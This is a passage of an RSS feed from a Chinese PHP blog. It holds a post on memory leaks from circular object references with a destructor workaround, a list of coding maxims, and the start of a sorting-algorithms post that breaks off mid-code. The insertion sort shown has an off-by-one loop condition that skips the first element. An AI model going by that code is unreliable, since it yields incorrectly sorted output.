#00008b;">$object2</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span><span style="color: #ffa500;">// 删除引用: Reference count = 0 自动释放内存空间 </span><span style="color: Gray;"><br />&nbsp; <br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p><strong>PHP对象相互引用的内存溢出</strong><br />
使用脚本语言最大的好处之一就是可利用其拥有的自动垃圾回收机制（释放内存）。你不需要在使用完变量后做任何释放内存的处理，PHP会帮你完成。<br />
当然，我们可以按自己的意愿调用 unset() 函数来释放内存，但通常不需要这么做。<br />
不过在PHP里，至少有一种情况内存不会得到自动释放，即便是手动调用 unset()。详情可考：http://bugs.php.net/bug.php?id=33595。 </p>
<p><strong>问题症状</strong><br />
如果两个对象之间存在着相互引用的关系，如“父对象-子对象”，对父对象调用 unset() 不会释放在子对象中引用父对象的内存（即便父对象被垃圾回收，也不行）。<br />
有些糊涂了？我们来看下面的这段代码： </p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Green;">class</span><span style="color: Gray;"> </span><span style="color: Blue;">Foo</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">__construct</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bar</span><span style="color: Gray;"> = </span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Blue;">Bar</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Green;">class</span><span style="color: Gray;"> </span><span style="color: Blue;">Bar</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">__construct</span><span style="color: Olive;">(</span><span style="color: #00008b;">$foo</span><span style="color: Gray;"> = </span><span style="color: Green;">null</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">foo</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$foo</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Green;">while</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Green;">true</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$foo</span><span style="color: Gray;"> = </span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Blue;">Foo</span><span style="color: Olive;">()</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$foo</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">number_format</span><span style="color: Olive;">(</span><span style="color: Blue;">memory_get_usage</span><span style="color: Olive;">())</span><span style="color: Gray;"> . </span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">; <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>运行这段代码，你会看到内存使用率越来越高越来越高，直到用光光。 </p>
<p>…33,551,61633,551,97633,552,33633,552,696PHP Fatal error: Allowed memory size of 33554432 bytes exhausted(tried to allocate 16 bytes) in memleak.php on line 17对大部分PHP程序员来讲这种情况不算是什么问题。<br />
可如果你在一个长期运行的代码中使用到了一大堆相互引用的对象，尤其是在对象相对较大的情况下，内存会迅速地消耗殆尽。</p>
<p><strong>Userland解决方案 </strong><br />
虽然有些乏味、不优雅，但之前提到的 bugs.php.net 链接中提供了一个解决方案。<br />
这个方案在释放对象前使用一个 destructor 方法以达到目的。Destructor 方法可将所有内部的父对象引用全部清除，也就是说可以将这部分本来会溢出的内存释放掉。<br />
以下是“修复后”的代码： </p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br /></span><span style="color: Green;">class</span><span style="color: Gray;"> </span><span style="color: Blue;">Foo</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">__construct</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bar</span><span style="color: Gray;"> = </span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Blue;">Bar</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">__destruct</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bar</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Green;">class</span><span style="color: Gray;"> </span><span style="color: Blue;">Bar</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">__construct</span><span style="color: Olive;">(</span><span style="color: #00008b;">$foo</span><span style="color: Gray;"> = </span><span style="color: Green;">null</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">foo</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$foo</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br /></span><span style="color: Green;">while</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Green;">true</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$foo</span><span style="color: Gray;"> = </span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Blue;">Foo</span><span style="color: Olive;">()</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$foo</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">__destruct</span><span style="color: Olive;">()</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$foo</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">number_format</span><span style="color: Olive;">(</span><span style="color: Blue;">memory_get_usage</span><span style="color: Olive;">())</span><span style="color: Gray;"> . </span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">; <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>注意那个新增的 Foo::__destruct()方法，以及在释放对象前对 $foo->__destruct() 的调用。现在这段代码解决了内存使用率一直增加的问题，这么一来,代码就可以很好的工作了。 </p>
<p><strong>PHP内核解决方案？ </strong><br />
为什么会有内存溢出的发生？我对PHP内核方面的研究并不精通，但可以确定的是此问题与引用计数有关系。<br />
在 $bar 中引用 $foo 的引用计数不会因为父对象 $foo 被释放而递减，这时PHP认为你仍需要 $foo 对象，也就不会释放这部分的内存……大概是这样。<br />
这里确实可以看出我的无知，但大体意思是：一个引用计数没有递减，所以一些内存永远得不到释放。<br />
在前面提到的 bugs.php.net 链接中我看到修改垃圾回收的过程将会牺牲极大的性能，因为我对引用计数了解不多，所以我认为这是真的。<br />
与其改变垃圾回收的过程，为什么不用 unset() 对内部对象做释放的工作呢？（或者在释放对象的时候调用 __destruct()？）<br />
也许PHP内核开发者可以在此或其他地方，对这种垃圾回收处理机制做出修改。<br />
更新：Martin Fjordvald 在评论中提到了一个由 David Wang 为垃圾回收所写的补丁（其实它看起来更像“一整块布”——非常巨大。详情参见此邮件结尾的CVS导出信息。）确实存在（一封邮件），并受到了PHP内核开发成员的关注。问题是这个补丁要不要放到PHP5.3中并未得到太多支持 。我觉得一个不错的折中方案就是在 unset() 函数中调用对象中的 __destruct() 方法；</p>
<p><strong>参考资料：</strong></p>
<p>http://bugs.php.net/bug.php?id=33595</p>
<p>http://hi.baidu.com/bossyt/blog/item/7965cafe556ae5395c60088c.html</p>
<p>http://syre.blogbus.com/logs/15765909.html</p>
<p>http://bbs.ctocio.com.cn/thread-7826271-1-1.html</p>
<p>http://phpchan.bokee.com/viewdiary.24605482.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/php-rubish/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP八荣八耻</title>
		<link>http://www.ieliwb.com/php-88/</link>
		<comments>http://www.ieliwb.com/php-88/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 12:58:47 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[心情随笔/生活感悟]]></category>
		<category><![CDATA[八荣八耻]]></category>

		<guid isPermaLink="false">http://localhost/wordpress/?p=142</guid>
		<description><![CDATA[<blockquote><p>
以动手实践为荣 , 以只看不练为耻;</p>
<p>以打印日志为荣 , 以单步跟踪为耻;</p>
<p>以制表缩进为荣 , 以空格缩进为耻;</p>
<p>以单元测试为荣 , 以人工测试为耻;</p>
<p>以模块复用为荣 , 以复制粘贴为耻;</p>
<p>以多态应用为荣 , 以分支判断为耻;</p>
<p>以轻便高效为荣 , 以冗余拖沓为耻;</p>
<p>以总结分享为荣 , 以跪求其解为[......]</p></blockquote><p class='read-more'><a href='http://www.ieliwb.com/php-88/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<blockquote><p>
以动手实践为荣 , 以只看不练为耻;</p>
<p>以打印日志为荣 , 以单步跟踪为耻;</p>
<p>以制表缩进为荣 , 以空格缩进为耻;</p>
<p>以单元测试为荣 , 以人工测试为耻;</p>
<p>以模块复用为荣 , 以复制粘贴为耻;</p>
<p>以多态应用为荣 , 以分支判断为耻;</p>
<p>以轻便高效为荣 , 以冗余拖沓为耻;</p>
<p>以总结分享为荣 , 以跪求其解为耻;
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/php-88/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP排序查找相关算法总结</title>
		<link>http://www.ieliwb.com/php-sort-sch/</link>
		<comments>http://www.ieliwb.com/php-sort-sch/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 12:52:07 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[排序]]></category>
		<category><![CDATA[查找]]></category>
		<category><![CDATA[算法]]></category>

		<guid isPermaLink="false">http://localhost/wordpress/?p=141</guid>
		<description><![CDATA[<p>打算找工作了，回头复习下基础，狂汗，都忘的差不多了。<br />
下面是几个PHP排序算法，记录一下。</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&#60;?php</span><span style="color: Gray;"><br />&#160;<br /></span><span style="color: #00008b;">$arr</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: Maroon;">1</span><span style="color: Gray;">,</span><span style="color: Maroon;">3</span><span style="color: Gray;">,</span><span style="color: Maroon;">5</span><span style="color: Gray;">,</span><span style="color: Maroon;">7</span><span style="color: Gray;">,</span><span style="color: Maroon;">8</span><span style="color: Gray;">,</span><span style="color: Maroon;">5</span><span style="color: Gray;">,</span><span style="color: Maroon;">6</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Gray;">,</span><span style="color: Maroon;">32</span><span style="color: Gray;">,</span><span style="color: Maroon;">12</span><span style="color: Gray;">,</span><span style="color: Maroon;">3</span><span style="color: Gray;">,</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&#160;<br /></span><span style="color: #ffa500;">/**冒泡排序&#160; 小-&#62;大**/</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">bubble_sort[......]</span></div></div><p class='read-more'><a href='http://www.ieliwb.com/php-sort-sch/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>打算找工作了，回头复习下基础，狂汗，都忘的差不多了。<br />
下面是几个PHP排序算法，记录一下。</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #00008b;">$arr</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: Maroon;">1</span><span style="color: Gray;">,</span><span style="color: Maroon;">3</span><span style="color: Gray;">,</span><span style="color: Maroon;">5</span><span style="color: Gray;">,</span><span style="color: Maroon;">7</span><span style="color: Gray;">,</span><span style="color: Maroon;">8</span><span style="color: Gray;">,</span><span style="color: Maroon;">5</span><span style="color: Gray;">,</span><span style="color: Maroon;">6</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Gray;">,</span><span style="color: Maroon;">32</span><span style="color: Gray;">,</span><span style="color: Maroon;">12</span><span style="color: Gray;">,</span><span style="color: Maroon;">3</span><span style="color: Gray;">,</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br /></span><span style="color: #ffa500;">/**冒泡排序&nbsp; 小-&gt;大**/</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">bubble_sort</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$c</span><span style="color: Gray;"> = </span><span style="color: Blue;">count</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c</span><span style="color: Gray;"> &lt;= </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$arr</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$j</span><span style="color: Gray;">=</span><span style="color: Maroon;">1</span><span style="color: Gray;">;</span><span style="color: #00008b;">$j</span><span style="color: Gray;">&lt;</span><span style="color: #00008b;">$c</span><span style="color: Gray;">;</span><span style="color: #00008b;">$j</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: #00008b;">$c</span><span style="color: Gray;">-</span><span style="color: #00008b;">$j</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;"> &gt; </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Gray;">+</span><span style="color: Maroon;">1</span><span style="color: Olive;">])</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;"> ^= </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Gray;">+</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;">; </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Gray;">+</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;"> ^= </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;">; </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;"> ^= </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Gray;">+</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$arr</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//var_dump(bubble_sort($arr));</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp;<br /></span><span style="color: #ffa500;">/**快速排序 小-&gt;大 **/</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">quick_sort</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">)</span><span style="color: Gray;"> <br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$c</span><span style="color: Gray;"> = </span><span style="color: Blue;">count</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c</span><span style="color: Gray;"> &lt;= </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$arr</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$left_arr</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$right_arr</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">1</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: #00008b;">$c</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;"> &lt; </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: Maroon;">0</span><span style="color: Olive;">])</span><span style="color: Gray;"> </span><span style="color: #00008b;">$left_arr</span><span style="color: Olive;">[]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: #00008b;">$right_arr</span><span style="color: Olive;">[]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">array_merge</span><span style="color: Olive;">(</span><span style="color: Blue;">quick_sort</span><span style="color: Olive;">(</span><span style="color: #00008b;">$left_arr</span><span style="color: Olive;">)</span><span style="color: Gray;">,</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: Maroon;">0</span><span style="color: Olive;">])</span><span style="color: Gray;">,</span><span style="color: Blue;">quick_sort</span><span style="color: Olive;">(</span><span style="color: #00008b;">$right_arr</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//var_dump(quick_sort($arr));</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #ffa500;">/**直接插入排序 小-&gt;大**/</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">insert_sort</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$c</span><span style="color: Gray;"> = </span><span style="color: Blue;">count</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c</span><span style="color: Gray;"> &lt;= </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$arr</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">1</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: #00008b;">$c</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$temp</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$j</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$i</span><span style="color: Gray;"> - </span><span style="color: Maroon;">1</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">while</span><span style="color: Olive;">(</span><span style="color: #00008b;">$j</span><span style="color: Gray;"> &gt; </span><span style="color: Maroon;">0</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$j</span><span style="color: Olive;">]</span><span style="color: Gray;"> &gt; </span><span style="color: #00008b;">$temp</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$j</span><span style="color: Gray;">+</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$j</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$j</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$temp</span><span style="color: Gray;">;</span><span style="color: #00008b;">$j</span><span style="color: Gray;">--;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$arr</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//var_dump(insert_sort($arr));</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #ffa500;">/**直接选择排序 小-&gt;大**/</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">select_sort</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">)</span><span style="color: Gray;"> <br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$c</span><span style="color: Gray;"> = </span><span style="color: Blue;">count</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c</span><span style="color: Gray;"> &lt;= </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$arr</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: 